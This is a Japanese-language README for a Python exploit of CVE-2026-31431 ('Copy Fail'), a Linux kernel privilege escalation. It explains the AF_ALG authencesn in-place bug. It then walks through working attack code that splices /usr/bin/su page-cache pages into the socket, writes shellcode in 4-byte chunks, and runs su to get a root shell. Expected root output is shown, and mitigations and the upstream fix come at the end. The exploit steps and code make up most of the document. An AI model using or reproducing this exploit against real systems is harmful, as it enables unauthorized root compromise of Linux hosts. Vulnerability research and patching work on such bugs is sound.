
Pythonエクスプロイト for CVE-2026-31431、setuidバイナリのページキャッシュ破損を介したLinuxカーネルの権限昇格により、rootアクセスを達成します。
Copy Fail(CVE-2026-31431)は、Linuxカーネルの暗号サブシステムにおける重大な論理バグであり、非特権ユーザーがrootへの権限昇格を達成することを可能にします。この脆弱性は、Linuxカーネル6.0.0から6.18.xまでの全主要ディストリビューションに影響を与えます。
このリポジトリには、setuidバイナリのページキャッシュを破壊し、root権限で任意のコードを実行することで脆弱性を発動させる実際のエクスプロイトが含まれています。
Copy Failは、非特権ユーザーがシステム上の任意の読み取り可能なファイル(setuidバイナリを含む)のカーネルのページキャッシュに、任意の4バイトチャンクを直接書き込むことを可能にする論理バグです。
主な特徴:
この脆弱性は、algif_aead.c(コミット72548b093ee3)における2017年の最適化に起因し、AEAD操作をアウトオブプレースからインプレースに変更しました:
変更前(安全 - 2015年):
TX Scatterlist(入力) ← TXバッファ(ファイルからのユーザーデータ)
RX Scatterlist(出力) ← RXバッファ(ユーザーの出力領域)
別々のscatterlist = ページキャッシュページは読み取り専用
変更後(脆弱 - 2017年):
結合されたScatterlist:
[ RXバッファ ] [ sg_chain()で連結されたページキャッシュページ ]
↑ ↑
req->src = src req->dst = dst (同じSCATTERLIST)
ページキャッシュページが書き込み可能なscatterlistに含まれる!
結合されたscatterlistは次のようになります:
[AAD + RXバッファからの暗号文] || [/usr/bin/suのページキャッシュからのタグ]
↑
境界
(authencesnはこのポイントを超えて書き込む)
authencesnアルゴリズムは、IPsecで拡張シーケンス番号(ESN)に使用されるAEADラッパーです。HMAC計算を実行しますが、AAD(関連認証データ)内でバイトを再配置する必要があります。
カーネルコード(crypto/authenc.c)の復号処理中:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // AADバイト0〜7を読み取り
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 一時的:dst[4..7]を上書き
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← 重要行
// dst[assoclen+cryptlen]に4バイト書き込み
問題:3番目の書き込みはオフセットassoclen + cryptlenで発生します。脆弱なインプレースパスでは:
カーネルはこの位置を「使い捨て可能なスクラッチ領域」として扱い、値をそこに恒久的に書き込みます。ページキャッシュ内のこの位置の元のバイトは永久に失われます。
1. 攻撃者はAF_ALGソケットを開く → authencesn(hmac(sha256),cbc(aes))にバインド
(権限は不要。AF_ALGはデフォルトで非特権ユーザーが利用可能)
2. 攻撃者はターゲットファイルを開く:/usr/bin/su(setuid-rootバイナリ)
3. 攻撃者はsplice()を使用して/usr/bin/suのページキャッシュページを
AF_ALGソケットに「暗号文」および「タグ」として配信
4. 攻撃者は以下を含むAADでsendmsg()を送信:
- バイト0〜3:パディング
- バイト4〜7:seqno_lo = 書き込む4バイト値(攻撃者が制御)
- バイト8以降:パディング
5. 攻撃者はrecvmsg()を呼び出し、AEAD復号操作をトリガー
カーネル空間のauthencesnの復号内部:
a) カーネルはAADバイト0〜7を読み取り
b) カーネルはdst[4..7]にseqno_hiを書き込み(一時的、その後復元)
c) カーネルはdst[assoclen + cryptlen]にseqno_loを書き込み
↓
この書き込みはユーザーバッファからページキャッシュページへ交差
↓
/usr/bin/suのページキャッシュへの4バイト書き込みがここで発生
d) カーネルはHMACを計算(検証失敗 - 暗号文は偽造)
e) recvmsg()はエラーを返す
しかし:4バイトの書き込みはページキャッシュに**すでに永続化**
6. 攻撃者はシェルコードの各4バイトチャンクについて手順2〜5を繰り返す
7. 攻撃者は/usr/bin/suを実行
- カーネルはバイナリをページキャッシュからロード(現在はシェルコードを含む)
- バイナリはsetuid-root
- シェルコードはUID=0で実行
- 攻撃者はrootアクセスを取得
| 側面 | 説明 |
|---|---|
| クラッシュなし | 操作はカーネルの観点から完了 |
| 決定的 | レースコンディションなし。同期かつ信頼性が高い |
| 永続的 | ページキャッシュの破壊はrecvmsg()エラー後も存続 |
| 不可視 | ディスク上のファイルは無傷。標準的な整合性ツールは何も検出しない |
| 普遍的 | 同じコードが全ディストリビューションで動作。ディストリビューション固有のオフセット不要 |
| 移植性 | x86-64およびARM64アーキテクチャで動作 |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # AEAD操作用のリクエストソケット
authencesn AEADテンプレートにバインドされたAF_ALGソケットを作成します。
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
破壊されるsetuidバイナリを開きます。読み取り可能なファイルならどれでも機能しますが、権限昇格のためにsetuidバイナリが選択されます。
pipe_rd, pipe_wr = os.pipe()
splice()操作の中間役として機能するパイプを作成します。パイプバッファはページキャッシュページへの参照を保持します。
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
splice()を使用して、write_offsetから始まる/usr/bin/suからcryptlenバイトをパイプに転送します。
これが重要な理由:splice()はファイル記述子間でデータをコピーせずに転送します。カーネルページキャッシュページへの直接参照を渡します。これらのページはパイプの内部バッファ構造に残ります。
assoclen = 8 # AAD長:バイト0〜7
cryptlen = 32 # 暗号文長(== HMAC-SHA256出力)
authsize = 32 # タグ長
write_offset = 0x2000 # /usr/bin/su内の書き込みオフセット
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
AAD(関連認証データ)には以下が含まれます:
authencesnアルゴリズムは、スクラッチ書き込みでこのAADのバイト4〜7を使用します。
req_sock.sendmsg([aad], [], socket.MSG_MORE)
AADをAF_ALGソケットに送信します。MSG_MOREフラグは、暗号文/タグが続くことを示します。
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
パイプからAF_ALGソケットにページキャッシュページを転送します。これでカーネルのscatterlistには以下が含まれます:
Scatterlistチェーン:
[ AAD(RXバッファから) ] || [ 暗号文(RXバッファから) ] → [ タグ(ページキャッシュページ) ]
↑
/usr/bin/suのページを
引き続き参照
try:
req_sock.recv(1024)
except OSError:
pass # 無効なHMACで失敗することが予想される
recvmsg()を呼び出してAEAD復号操作をトリガーします:
カーネル空間のauthencesn内部:
dst[assoclen + cryptlen]に書き込み
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
エクスプロイトはループし、/usr/bin/suのページキャッシュ内の連続オフセットにシェルコードの4バイトチャンクを書き込みます。
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
/usr/bin/suを実行します:
os.splice()サポート用)lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
脆弱なシステムでの期待される出力:
[*] CVE-2026-31431 (Copy Fail) Linuxカーネル権限昇格
[*] ターゲット:/usr/bin/su(setuid-rootバイナリ)
[*] カーネルバージョン:6.12.0-1007-aws
[+] カーネル6.12.xは脆弱な範囲内(6.0 - 6.18)
[+] /usr/bin/suを発見(setuid-rootバイナリ)
[+] カーネル脆弱性チェック:AF_ALG + splice + authencesn
[*] ページキャッシュ破壊を開始...
[*] /usr/bin/suに33バイトのシェルコードを注入
[+] オフセット0x2000にチャンク0を書き込み
[+] オフセット0x2004にチャンク1を書き込み
...
[+] シェルコード注入成功!
[*] シェルコードをトリガーするために/usr/bin/suを実行...
# id
uid=0(root) gid=1001(user) groups=1001(user)
AF_ALG AEADサポートを無効化:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
これにより、他のAF_ALG機能を維持しながら、エクスプロイトがAF_ALGのAEADインターフェースにアクセスするのを防ぎます。
脆弱なモジュールをアンロード:
sudo rmmod algif_aead
sudo rmmod authencesn
seccompによるAF_ALGソケット作成のブロック(コンテナ環境向け):
# コンテナセキュリティポリシーで、socket(38, SOCK_SEQPACKET)システムコールを拒否
修正を含む**Linux 6.19+**に更新(コミットa664bf3d603d)。
この修正はalgif_aead.cをアウトオブプレースAEAD操作に戻します:
// 変更前(脆弱なインプレース):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL(入力)
rsgl_src, // RX SGL(出力)- 同じ
used, ctx->iv);